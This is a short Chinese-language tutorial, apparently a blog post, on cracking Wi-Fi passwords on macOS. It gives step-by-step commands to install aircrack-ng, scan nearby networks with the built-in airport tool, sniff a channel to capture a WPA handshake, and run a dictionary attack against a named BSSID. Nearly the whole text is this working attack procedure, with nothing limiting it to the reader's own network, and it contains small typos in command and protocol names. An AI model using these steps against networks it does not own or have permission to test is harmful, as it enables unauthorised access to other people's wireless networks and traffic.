本篇文章在mac下破解
1.安装maccport,安装xcode
2.安装aircrack-ng
3.获取当前网卡
4.获取当前所有无线网络
5.开始抓包,收集监听
6.查看cap文件中数据
7.开始破解
第一步省略
第二步安装aircrack-ng
sudo port install aircrack-ng
第三部获取当前网卡
ifconfig获取当前网卡名称,我的是en0
第四部获取所有无线网络
通过mac自带的airport工具,在shell中执行如下代码:
sudo /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/
Resources/airport -s
可查看附近所有wifi,SSID(表示wifi名称),BSSID(表示wifi的mac地址),CHANNEL(表示wifi信号传送通道)也成频段
第五步抓包,监听附近Wi-Fi数据
sudo /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport en0 sniff 6
en0 表示网卡
sniff 嗅探
6 表示频段
开始监听之后Wi-Fi标志会变成小眼睛
ctrl+c表示结束监听,系统会把数据保存至本地,/tmp/airportSniffdaMCjH.cap
第六部查看cap文件中的数据
sudo aricrack-ng /tmp/airportSniffdaMCjH.cap
路由器列表Encryption值为WAP(1handshake)表示握手成功,选择成功握手的index,否者需要重新嗅探抓取数据
第七步开始破解
sudo aircrack-ng -w 字典.txt -b F4:83:CD:52:06:78 /tmp/airportSniffdaMCjH.cap
-w表示word
-b表示bssid(wifi的mac地址)